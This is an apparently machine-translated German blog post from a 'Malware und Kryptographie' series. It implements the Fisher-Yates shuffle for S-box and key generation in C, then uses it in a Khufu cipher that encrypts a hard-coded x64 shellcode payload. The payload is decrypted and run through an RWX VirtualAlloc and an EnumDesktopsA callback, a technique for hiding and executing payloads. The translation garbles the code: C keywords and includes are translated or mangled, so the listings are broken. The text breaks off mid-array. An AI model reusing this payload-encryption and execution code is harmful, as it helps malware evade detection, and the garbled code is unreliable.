Malware und Kryptographie 36 - Algorithmen zur Erzeugung von Zufallsboxen: Fisher-Yates-Zufallsmischung. Einfaches C-Beispiel.

Teilen:

Malware und Kryptographie 36 - Algorithmen zur Erzeugung von Zufallsboxen: Fisher-Yates-Zufallsmischung. Einfaches C-Beispiel.

 16 Minuten lesen

Hello, cybersecurity enthusiasts and white hackers!

cryptography

Nach der Lektüre einiger meiner Beiträge über Kryptographie, z. B. diesem oder diesem, hatten meine Leser Fragen zu den Konzepten von sbox Deshalb werde ich die Forschung im Bereich der Kryptographie bei der Entwicklung von Malware fortsetzen und möchte einen dieser Tricks zur Erzeugung zufälliger sboxes beleuchten.

Dieser Beitrag ist das Ergebnis meiner eigenen Recherchen zur Umsetzung des einfachsten Tricks: Fisher-Yates-Mischungstrick.

Fisher-YatesPermalink

Die Fisher-Yates-Mischung wurde erstmals 1938 von Ronald Fisher und Frank Yates in ihrem Buch Statistical tables for biological, agricultural, and medical research beschrieben. Die Beschreibung des Algorithmus wurde mit einem Bleistift auf Papier geschrieben, und die Randomisierung wurde durch eine Tabelle mit ganzen Zahlen gewährleistet. Der beschriebene grundlegende Ansatz zur Erzeugung einer zufälligen Permutation der Zahlen 1-N lautet wie folgt:

  • Schreiben Sie die Zahlen von 1 bis N auf.
  • Wählen Sie eine Zufallszahl k zwischen eins und der Anzahl der verbleibenden ungeschlagenen Zahlen (einschließlich).
  • Beginnen Sie am unteren Ende und streichen Sie die k-te Zahl, die noch nicht gestrichen wurde, und schreiben Sie sie am Ende einer separaten Liste auf.
  • Wiederholen Sie Schritt 2, bis alle Ziffern durchgestrichen sind.
  • Die in Schritt 3 eingegebenen Zahlen sind nun in einer zufälligen Reihenfolge angeordnet.

Aber was hat die Kryptographie damit zu tun?

Die Zuverlässigkeit einiger Blockverschlüsselungsalgorithmen hängt stark davon ab, wie "gut" die S-Kästen werden bei ihrer Umsetzung verwendet: die S-Kasten (Substitutionsfeld) spielt in der Blockchiffrierung eine entscheidende Rolle, vor allem um Nichtlinearität zu gewährleisten und die Chiffre gegen Angriffe zu stärken.

Ein paar Worte zur Nichtlinearität. S-Kästen sicherstellen, dass die Beziehung zwischen Klartext und Chiffretext ist nicht linearwas entscheidend ist, um kryptoanalytischen Angriffen wie lineare Kryptoanalyse. Nichtlineare Transformationen verhindern, dass Muster im Klartext im Chiffretext erhalten bleiben.

Außerdem ist eine gut konzipierte S-Kasten trägt zur Avalanche-EffektDas bedeutet, dass eine kleine Änderung des Klartextes oder des Schlüssels zu erheblichen Änderungen des Chiffretextes führt: Dadurch wird sichergestellt, dass die Ausgabe der Chiffre zufällig erscheint und die Vorhersage von Änderungen erschwert wird.

Bei Feistel-basierten Chiffren (z. B. DES), S-Kästen die Ausgabe der Feistel-Funktion transformieren und dabei Nichtlinearität sicherstellen, bevor sie mit dem Klartext kombiniert wird.

Nehmen wir konkrete Beispiele für kryptografische Algorithmen in SPN-basierten Blockchiffren (z. B., AES), die S-Kasten ist für das Ersetzen von Eingabebits durch eindeutige Ausgabebits verantwortlich, was den kryptografischen Prozess noch verwirrender macht.

Sie sehen also, dass die Erzeugung kryptographisch sicherer S-Kästen ist ein komplexer Prozess, der mathematische Techniken umfasst, um wünschenswerte Eigenschaften wie Nichtlinearität, Widerstandsfähigkeit gegen differentielle und lineare Kryptoanalyse und minimale Korrelation zwischen Eingabe- und Ausgabebits zu gewährleisten. Ich kann zwar keine wirklich sicheren S-Kästen In diesem Zusammenhang wollen wir diesen Shuffle-Algorithmus auf der Grundlage seiner ursprünglichen Spezifikation implementieren.

praktisches BeispielPermalink

Lassen Sie uns ein einfaches Programm erstellen, das die Fisher-Yates-Mischung implementiert, um eine zufällige Permutation von sbox[256] und druckt die Ergebnisse aus:

/*
 * hack.c - random sbox generation algorithms.
 * Fisher-Yates shuffle
 * Simple C implementation
 * @cocomelonc
 * https://cocomelonc.github.io/malware/2024/12/16/malware-cryptography-36.html
 */
1TP5Einschließlich <stdio.h>
1TP5Einschließlich <stdlib.h>
1TP5Einschließlich <time.h>

#define SBOX_SIZE 256

// Fisher-Yates-Mischung
void fisher_yates_shuffle(ohne Vorzeichen char *sbox, int Größe) {
  für (int i = Größe - 1; i > 0; i--) {
    // Erzeugen eines Zufallsindexes zwischen 0 und i
    int j = rand() % (i + 1);

    // sbox[i] und sbox[j] vertauschen
    ohne Vorzeichen char Aushilfe = sbox[i];
    sbox[i] = sbox[j];
    sbox[j] = Aushilfe;
  }
}

int Haupt() {
  ohne Vorzeichen char sbox[SBOX_GRÖSSE];

  // sbox mit den Werten 0 bis 255 initialisieren
  für (int i = 0; i < SBOX_GRÖSSE; i++) {
    sbox[i] = (ohne Vorzeichen char)i;
  }

  // Setzt den Zufallszahlengenerator mit der aktuellen Zeit
  srand((ohne Vorzeichen int)Zeit(NULL));

  // Mischen der sbox mit dem Fisher-Yates-Algorithmus
  fisher_yates_shuffle(sbox, SBOX_GRÖSSE);

  // Drucken der gemischten sbox
  printf("S-Box" erzeugt:\n");
  für (int i = 0; i < SBOX_GRÖSSE; i++) {
    printf("%02x", sbox[i]);
    wenn ((i + 1) % 16 == 0) {
      printf("\n"); // alle 16 Werte einen Zeilenumbruch ausgeben
    } sonst {
      printf(" ");
    }
  }

  return 0;
}

Zuallererst, sbox Array wird mit Werten aus 0 zu 255.

Fisher-Yates-Mischung: Iteriert rückwärts durch das Array. Wählt einen zufälligen Index j im Bereich [0, i]. Schließlich werden die Elemente bei den Indizes vertauscht i und j.
Zufälligkeit: Die rand() Funktion wird mit der aktuellen Zeit gefüttert, indem srand(time(NULL)) um sicherzustellen, dass bei jeder Ausführung des Programms andere Ergebnisse erzielt werden.
Ausgabe: Das Schlurfen S-Box wird in einem lesbaren Format gedruckt, mit 16 Werte pro Zeile.

Ich füge auch die Windows-Version hinzu, indem ich einfach den WinAPI-Header hinzufüge:

/*
 * hack.c - random sbox generation algorithms.
 * Fisher-Yates shuffle
 * Simple C implementation
 * @cocomelonc
 * https://cocomelonc.github.io/malware/2024/12/16/malware-cryptography-36.html
 */
1TP5Einschließlich <stdio.h>
1TP5Einschließlich <stdlib.h>
1TP5Einschließlich <time.h>
1TP5Einschließlich <windows.h>

#define SBOX_SIZE 256

// Fisher-Yates-Mischung
void fisher_yates_shuffle(ohne Vorzeichen char *sbox, int Größe) {
  für (int i = Größe - 1; i > 0; i--) {
    // Erzeugen eines Zufallsindexes zwischen 0 und i
    int j = rand() % (i + 1);

    // sbox[i] und sbox[j] vertauschen
    ohne Vorzeichen char Aushilfe = sbox[i];
    sbox[i] = sbox[j];
    sbox[j] = Aushilfe;
  }
}

int Haupt() {
  ohne Vorzeichen char sbox[SBOX_GRÖSSE];

  // sbox mit den Werten 0 bis 255 initialisieren
  für (int i = 0; i < SBOX_GRÖSSE; i++) {
    sbox[i] = (ohne Vorzeichen char)i;
  }

  // Setzt den Zufallszahlengenerator mit der aktuellen Zeit
  srand((ohne Vorzeichen int)Zeit(NULL));

  // Mischen der sbox mit dem Fisher-Yates-Algorithmus
  fisher_yates_shuffle(sbox, SBOX_GRÖSSE);

  // Drucken der gemischten sbox
  printf("S-Box" erzeugt:\n");
  für (int i = 0; i < SBOX_GRÖSSE; i++) {
    printf("%02x", sbox[i]);
    wenn ((i + 1) % 16 == 0) {
      printf("\n"); // alle 16 Werte einen Zeilenumbruch ausgeben
    } sonst {
      printf(" ");
    }
  }

  return 0;
}

DemoPermalink

Kompilieren Sie es für Linux:

gcc -o hack hack.c

cryptography

oder für Windows:

x86_64-w64-mingw32-g++ hack2.c -o hack2.exe -I/usr/share/mingw-w64/include/ -s -Funktionsbereiche -fdata-Abschnitte -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fermissiv

cryptography

Wenn Sie das Programm ausführen, sieht die Ausgabe wie folgt aus (auf meinem Linux-Rechner variieren die Werte aufgrund von Zufälligkeiten):

cryptography

Wie Sie sehen können, funktioniert alles perfekt =^..^=

Zufällige S-Boxen in kryptografischen AlgorithmenPermalink

Welche Chiffren können zufällig erzeugte S-Kästen?

Khufu (1989, NIST) zum Beispiel entwarf mit einer anpassbaren S-Kasten für schlüsselabhängige Substitution und geeignet für zufällige S-Kästen: Khufu wurde speziell entwickelt, um benutzergenerierte oder zufällige S-Kästen.

Lucifer (1971) entworfen mit statischen S-Kästen könnte aber geändert werden, um zufällige S-Kästen.

RC5 und CAST-128: Flexible Designs, die die Integration von S-Kästen mit geringfügigen Anpassungen.

Praxisbeispiel 3Permalink

Integrieren wir den Fisher-Yates-Shuffle in meine Implementierung der Khufu-Nutzlastverschlüsselung.

Originalcode aus meinem Beitrag:

/*
* hack.c
* encrypt/decrypt payload 
* via Khufu algorithm
* author: @cocomelonc
* https://cocomelonc.github.io/malware/2024/07/21/malware-cryptography-30.html
*/
1TP5Einschließlich <stdio.h>
1TP5Einschließlich <stdint.h>
1TP5Einschließlich <string.h>
1TP5Einschließlich <stdlib.h>
1TP5Einschließlich <windows.h>

#define ROUNDS 16
#define BLOCK_SIZE 8
#define KEY_SIZE 64

uint8_t Schlüssel[SCHLÜSSEL_GRÖSSE] = {
  0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
  0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F,
  0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
  0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F,
  0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27,
  0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F,
  0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37,
  0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F
};

uint32_t sbox[256];

void khufu_generate_sbox(uint8_t *Schlüssel, int rund) {
  für (int i = 0; i < 256; i++) {
    sbox[i] = (Schlüssel[(rund * 8 + i) % SCHLÜSSEL_GRÖSSE] << 24) |
          (Schlüssel[(rund * 8 + i + 1) % SCHLÜSSEL_GRÖSSE] << 16) |
          (Schlüssel[(rund * 8 + i + 2) % SCHLÜSSEL_GRÖSSE] << 8) |
          Schlüssel[(rund * 8 + i + 3) % SCHLÜSSEL_GRÖSSE];
  }
}

void khufu_verschlüsseln(uint8_t *Block, uint8_t *Schlüssel) {
  uint32_t links = ((uint32_t)Block[0] << 24) | ((uint32_t)Block[1] << 16) | ((uint32_t)Block[2] << 8) | (uint32_t)Block[3];
  uint32_t rechts = ((uint32_t)Block[4] << 24) | ((uint32_t)Block[5] << 16) | ((uint32_t)Block[6] << 8) | (uint32_t)Block[7];

  links ^= ((uint32_t)Schlüssel[0] << 24) | ((uint32_t)Schlüssel[1] << 16) | ((uint32_t)Schlüssel[2] << 8) | (uint32_t)Schlüssel[3];
  rechts ^= ((uint32_t)Schlüssel[4] << 24) | ((uint32_t)Schlüssel[5] << 16) | ((uint32_t)Schlüssel[6] << 8) | (uint32_t)Schlüssel[7];

  für (int rund = 0; rund < RUNDEN; rund++) {
    khufu_generate_sbox(Schlüssel, rund);
    uint32_t Aushilfe = links;
    links = rechts ^ sbox[links & 0xFF];
    rechts = (Aushilfe >> 8) | (Aushilfe << 24);
    uint32_t temp2 = links;
    links = rechts;
    rechts = temp2;
  }

  links ^= ((uint32_t)Schlüssel[8] << 24) | ((uint32_t)Schlüssel[9] << 16) | ((uint32_t)Schlüssel[10] << 8) | (uint32_t)Schlüssel[11];
  rechts ^= ((uint32_t)Schlüssel[12] << 24) | ((uint32_t)Schlüssel[13] << 16) | ((uint32_t)Schlüssel[14] << 8) | (uint32_t)Schlüssel[15];

  Block[0] = (links >> 24) & 0xFF;
  Block[1] = (links >> 16) & 0xFF;
  Block[2] = (links >> 8) & 0xFF;
  Block[3] = links & 0xFF;
  Block[4] = (rechts >> 24) & 0xFF;
  Block[5] = (rechts >> 16) & 0xFF;
  Block[6] = (rechts >> 8) & 0xFF;
  Block[7] = rechts & 0xFF;
}

void khufu_decrypt(uint8_t *Block, uint8_t *Schlüssel) {
  uint32_t links = ((uint32_t)Block[0] << 24) | ((uint32_t)Block[1] << 16) | ((uint32_t)Block[2] << 8) | (uint32_t)Block[3];
  uint32_t rechts = ((uint32_t)Block[4] << 24) | ((uint32_t)Block[5] << 16) | ((uint32_t)Block[6] << 8) | (uint32_t)Block[7];

  links ^= ((uint32_t)Schlüssel[8] << 24) | ((uint32_t)Schlüssel[9] << 16) | ((uint32_t)Schlüssel[10] << 8) | (uint32_t)Schlüssel[11];
  rechts ^= ((uint32_t)Schlüssel[12] << 24) | ((uint32_t)Schlüssel[13] << 16) | ((uint32_t)Schlüssel[14] << 8) | (uint32_t)Schlüssel[15];

  für (int rund = RUNDEN - 1; rund >= 0; rund--) {
    uint32_t Aushilfe = rechts;
    rechts = links ^ sbox[rechts & 0xFF];
    links = (Aushilfe << 8) | (Aushilfe >> 24);
    uint32_t temp2 = links;
    links = rechts;
    rechts = temp2;
  }

  links ^= ((uint32_t)Schlüssel[0] << 24) | ((uint32_t)Schlüssel[1] << 16) | ((uint32_t)Schlüssel[2] << 8) | (uint32_t)Schlüssel[3];
  rechts ^= ((uint32_t)Schlüssel[4] << 24) | ((uint32_t)Schlüssel[5] << 16) | ((uint32_t)Schlüssel[6] << 8) | (uint32_t)Schlüssel[7];

  Block[0] = (links >> 24) & 0xFF;
  Block[1] = (links >> 16) & 0xFF;
  Block[2] = (links >> 8) & 0xFF;
  Block[3] = links & 0xFF;
  Block[4] = (rechts >> 24) & 0xFF;
  Block[5] = (rechts >> 16) & 0xFF;
  Block[6] = (rechts >> 8) & 0xFF;
  Block[7] = rechts & 0xFF;
}

void khufu_encrypt_shellcode(ohne Vorzeichen char* Shellcode, int Shellcode_len) {
  int i;
  für (i = 0; i < Shellcode_len / BLOCK_GRÖSSE; i++) {
    khufu_verschlüsseln(Shellcode + i * BLOCK_GRÖSSE, Schlüssel);
  }
  // Prüfen, ob noch Bytes vorhanden sind
  int verbleibende = Shellcode_len % BLOCK_GRÖSSE;
  wenn (verbleibende != 0) {
  ohne Vorzeichen char Polster[BLOCK_GRÖSSE] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
  memcpy(Polster, Shellcode + (Shellcode_len / BLOCK_GRÖSSE) * BLOCK_GRÖSSE, verbleibende);
  khufu_verschlüsseln(Polster, Schlüssel);
  memcpy(Shellcode + (Shellcode_len / BLOCK_GRÖSSE) * BLOCK_GRÖSSE, Polster, verbleibende);
  }
}

void khufu_decrypt_shellcode(ohne Vorzeichen char* Shellcode, int Shellcode_len) {
  int i;
  für (i = 0; i < Shellcode_len / BLOCK_GRÖSSE; i++) {
    khufu_decrypt(Shellcode + i * BLOCK_GRÖSSE, Schlüssel);
  }
  // Prüfen, ob noch Bytes vorhanden sind
  int verbleibende = Shellcode_len % BLOCK_GRÖSSE;
  wenn (verbleibende != 0) {
  ohne Vorzeichen char Polster[BLOCK_GRÖSSE] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
  memcpy(Polster, Shellcode + (Shellcode_len / BLOCK_GRÖSSE) * BLOCK_GRÖSSE, verbleibende);
  khufu_decrypt(Polster, Schlüssel);
  memcpy(Shellcode + (Shellcode_len / BLOCK_GRÖSSE) * BLOCK_GRÖSSE, Polster, verbleibende);
  }
}

int Haupt() {
  ohne Vorzeichen char meine_Ladung[] = 
  "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
  "\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
  "\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
  "\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
  "\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
  "\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
  "\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
  "\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
  "\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
  "\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
  "\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
  "\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
  "\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
  "\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
  "\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
  "\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
  "\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
  "\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
  "\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
  "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
  "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
  "\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
  "\x2e\x2e\x5e\x3d\x00";

  int my_payload_len = Größe von(meine_Ladung);
  int pad_len = my_payload_len + (8 - my_payload_len % 8) % 8;
  ohne Vorzeichen char gepolstert[pad_len];
  memset(gepolstert, 0x90, pad_len);
  memcpy(gepolstert, meine_Ladung, my_payload_len);

  printf("Original-Shellcode: ");
  für (int i = 0; i < my_payload_len; i++) {
    printf("%02x ", meine_Ladung[i]);
  }
  printf("\n\n");

  khufu_encrypt_shellcode(gepolstert, pad_len);

  printf("verschlüsselter Shellcode: ");
  für (int i = 0; i < pad_len; i++) {
    printf("%02x ", gepolstert[i]);
  }
  printf("\n\n");

  khufu_decrypt_shellcode(gepolstert, pad_len);

  printf("entschlüsselter Shellcode: ");
  für (int i = 0; i < my_payload_len; i++) {
    printf("%02x ", gepolstert[i]);
  }

  printf("\n\n");

  LPVOID mem = VirtualAlloc(NULL, my_payload_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  RtlMoveMemory(mem, gepolstert, my_payload_len);
  EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, (LPARAM)NULL);
  return 0;
}

Wir können unseren Zufallsalgorithmus für die Schlüsselerzeugung hinzufügen. Anstelle eines vordefinierten statischen Schlüssels können wir einen Zufallsschlüssel verwenden, der mittels Fisher-Yates Shuffle generiert wird:

// Fisher-Yates-Mischung
void fisher_yates_shuffle(ohne Vorzeichen char *sbox, int Größe) {
  für (int i = Größe - 1; i > 0; i--) {
    // Erzeugen eines Zufallsindexes zwischen 0 und i
    int j = rand() % (i + 1);

    // sbox[i] und sbox[j] vertauschen
    ohne Vorzeichen char Aushilfe = sbox[i];
    sbox[i] = sbox[j];
    sbox[j] = Aushilfe;
  }
}

void khufu_generate_key() {
  // Schlüssel mit den Werten 0 bis 64 initialisieren
  für (int i = 0; i < SCHLÜSSEL_GRÖSSE; i++) {
    Schlüssel[i] = (ohne Vorzeichen char)i;
  }

  // Setzt den Zufallszahlengenerator mit der aktuellen Zeit
  srand((ohne Vorzeichen int)Zeit(NULL));

  // Mischen des Schlüssels mit dem Fisher-Yates-Algorithmus
  fisher_yates_shuffle(Schlüssel, SCHLÜSSEL_GRÖSSE);
}

Wie Sie sehen können, beginnt der Schlüssel als ein Array von Werten 0x00 zu 0x3F (0-63 in hexadezimaler Form) und wird zufällig gemischt. Dadurch wird sichergestellt, dass der Schlüssel bei jeder Ausführung des Programms eindeutig ist.

Der aktualisierte vollständige Quellcode sieht also wie folgt aus (hack3.c):

/*
* hack.c
* encrypt/decrypt payload 
* via Khufu algorithm
* author: @cocomelonc
* https://cocomelonc.github.io/malware/2024/07/21/malware-cryptography-30.html
*/
1TP5Einschließlich <stdio.h>
1TP5Einschließlich <stdint.h>
1TP5Einschließlich <string.h>
1TP5Einschließlich <stdlib.h>
1TP5Einschließlich <time.h>
// #include

#define ROUNDS 16
#define BLOCK_SIZE 8
#define KEY_SIZE 64

uint8_t Schlüssel[SCHLÜSSEL_GRÖSSE] = {
  0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
  0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F,
  0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
  0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F,
  0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27,
  0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F,
  0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37,
  0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F
};

uint32_t sbox[256];

// Fisher-Yates-Mischung
void fisher_yates_shuffle(ohne Vorzeichen char *sbox, int Größe) {
  für (int i = Größe - 1; i > 0; i--) {
    // Erzeugen eines Zufallsindexes zwischen 0 und i
    int j = rand() % (i + 1);

    // sbox[i] und sbox[j] vertauschen
    ohne Vorzeichen char Aushilfe = sbox[i];
    sbox[i] = sbox[j];
    sbox[j] = Aushilfe;
  }
}

void khufu_generate_key() {
  // Schlüssel mit den Werten 0 bis 64 initialisieren
  für (int i = 0; i < SCHLÜSSEL_GRÖSSE; i++) {
    Schlüssel[i] = (ohne Vorzeichen char)i;
  }

  // Setzt den Zufallszahlengenerator mit der aktuellen Zeit
  srand((ohne Vorzeichen int)Zeit(NULL));

  // Mischen des Schlüssels mit dem Fisher-Yates-Algorithmus
  fisher_yates_shuffle(Schlüssel, SCHLÜSSEL_GRÖSSE);
}

void khufu_generate_sbox(uint8_t *Schlüssel, int rund) {
  für (int i = 0; i < 256; i++) {
    sbox[i] = (Schlüssel[(rund * 8 + i) % SCHLÜSSEL_GRÖSSE] << 24) |
          (Schlüssel[(rund * 8 + i + 1) % SCHLÜSSEL_GRÖSSE] << 16) |
          (Schlüssel[(rund * 8 + i + 2) % SCHLÜSSEL_GRÖSSE] << 8) |
          Schlüssel[(rund * 8 + i + 3) % SCHLÜSSEL_GRÖSSE];
  }
}

void khufu_verschlüsseln(uint8_t *Block, uint8_t *Schlüssel) {
  uint32_t links = ((uint32_t)Block[0] << 24) | ((uint32_t)Block[1] << 16) | ((uint32_t)Block[2] << 8) | (uint32_t)Block[3];
  uint32_t rechts = ((uint32_t)Block[4] << 24) | ((uint32_t)Block[5] << 16) | ((uint32_t)Block[6] << 8) | (uint32_t)Block[7];

  links ^= ((uint32_t)Schlüssel[0] << 24) | ((uint32_t)Schlüssel[1] << 16) | ((uint32_t)Schlüssel[2] << 8) | (uint32_t)Schlüssel[3];
  rechts ^= ((uint32_t)Schlüssel[4] << 24) | ((uint32_t)Schlüssel[5] << 16) | ((uint32_t)Schlüssel[6] << 8) | (uint32_t)Schlüssel[7];

  für (int rund = 0; rund < RUNDEN; rund++) {
    khufu_generate_sbox(Schlüssel, rund);
    uint32_t Aushilfe = links;
    links = rechts ^ sbox[links & 0xFF];
    rechts = (Aushilfe >> 8) | (Aushilfe << 24);
    uint32_t temp2 = links;
    links = rechts;
    rechts = temp2;
  }

  links ^= ((uint32_t)Schlüssel[8] << 24) | ((uint32_t)Schlüssel[9] << 16) | ((uint32_t)Schlüssel[10] << 8) | (uint32_t)Schlüssel[11];
  rechts ^= ((uint32_t)Schlüssel[12] << 24) | ((uint32_t)Schlüssel[13] << 16) | ((uint32_t)Schlüssel[14] << 8) | (uint32_t)Schlüssel[15];

  Block[0] = (links >> 24) & 0xFF;
  Block[1] = (links >> 16) & 0xFF;
  Block[2] = (links >> 8) & 0xFF;
  Block[3] = links & 0xFF;
  Block[4] = (rechts >> 24) & 0xFF;
  Block[5] = (rechts >> 16) & 0xFF;
  Block[6] = (rechts >> 8) & 0xFF;
  Block[7] = rechts & 0xFF;
}

void khufu_decrypt(uint8_t *Block, uint8_t *Schlüssel) {
  uint32_t links = ((uint32_t)Block[0] << 24) | ((uint32_t)Block[1] << 16) | ((uint32_t)Block[2] << 8) | (uint32_t)Block[3];
  uint32_t rechts = ((uint32_t)Block[4] << 24) | ((uint32_t)Block[5] << 16) | ((uint32_t)Block[6] << 8) | (uint32_t)Block[7];

  links ^= ((uint32_t)Schlüssel[8] << 24) | ((uint32_t)Schlüssel[9] << 16) | ((uint32_t)Schlüssel[10] << 8) | (uint32_t)Schlüssel[11];
  rechts ^= ((uint32_t)Schlüssel[12] << 24) | ((uint32_t)Schlüssel[13] << 16) | ((uint32_t)Schlüssel[14] << 8) | (uint32_t)Schlüssel[15];

  für (int rund = RUNDEN - 1; rund >= 0; rund--) {
    uint32_t Aushilfe = rechts;
    rechts = links ^ sbox[rechts & 0xFF];
    links = (Aushilfe << 8) | (Aushilfe >> 24);
    uint32_t temp2 = links;
    links = rechts;
    rechts = temp2;
  }

  links ^= ((uint32_t)Schlüssel[0] << 24) | ((uint32_t)Schlüssel[1] << 16) | ((uint32_t)Schlüssel[2] << 8) | (uint32_t)Schlüssel[3];
  rechts ^= ((uint32_t)Schlüssel[4] << 24) | ((uint32_t)Schlüssel[5] << 16) | ((uint32_t)Schlüssel[6] << 8) | (uint32_t)Schlüssel[7];

  Block[0] = (links >> 24) & 0xFF;
  Block[1] = (links >> 16) & 0xFF;
  Block[2] = (links >> 8) & 0xFF;
  Block[3] = links & 0xFF;
  Block[4] = (rechts >> 24) & 0xFF;
  Block[5] = (rechts >> 16) & 0xFF;
  Block[6] = (rechts >> 8) & 0xFF;
  Block[7] = rechts & 0xFF;
}

void khufu_encrypt_shellcode(ohne Vorzeichen char* Shellcode, int Shellcode_len) {
  int i;
  für (i = 0; i < Shellcode_len / BLOCK_GRÖSSE; i++) {
    khufu_verschlüsseln(Shellcode + i * BLOCK_GRÖSSE, Schlüssel);
  }
  // Prüfen, ob noch Bytes vorhanden sind
  int verbleibende = Shellcode_len % BLOCK_GRÖSSE;
  wenn (verbleibende != 0) {
  ohne Vorzeichen char Polster[BLOCK_GRÖSSE] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
  memcpy(Polster, Shellcode + (Shellcode_len / BLOCK_GRÖSSE) * BLOCK_GRÖSSE, verbleibende);
  khufu_verschlüsseln(Polster, Schlüssel);
  memcpy(Shellcode + (Shellcode_len / BLOCK_GRÖSSE) * BLOCK_GRÖSSE, Polster, verbleibende);
  }
}

void khufu_decrypt_shellcode(ohne Vorzeichen char* Shellcode, int Shellcode_len) {
  int i;
  für (i = 0; i < Shellcode_len / BLOCK_GRÖSSE; i++) {
    khufu_decrypt(Shellcode + i * BLOCK_GRÖSSE, Schlüssel);
  }
  // Prüfen, ob noch Bytes vorhanden sind
  int verbleibende = Shellcode_len % BLOCK_GRÖSSE;
  wenn (verbleibende != 0) {
  ohne Vorzeichen char Polster[BLOCK_GRÖSSE] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
  memcpy(Polster, Shellcode + (Shellcode_len / BLOCK_GRÖSSE) * BLOCK_GRÖSSE, verbleibende);
  khufu_decrypt(Polster, Schlüssel);
  memcpy(Shellcode + (Shellcode_len / BLOCK_GRÖSSE) * BLOCK_GRÖSSE, Polster, verbleibende);
  }
}

int Haupt() {
  khufu_generate_key();
  printf("generierter Schlüssel":\n");
  für (int i = 0; i < SCHLÜSSEL_GRÖSSE; i++) {
    printf("%02x", Schlüssel[i]);
    wenn ((i + 1) % 8 == 0) {
      printf("\n"); // alle 16 Werte einen Zeilenumbruch ausgeben
    } sonst {
      printf(" ");
    }
  }
  ohne Vorzeichen char meine_Ladung[] = 
  "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
  "\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
  "\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
  "\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
  "\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
  "\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
  "\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
  "\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
  "\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
  "\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
  "\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
  "\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
  "\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
  "\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
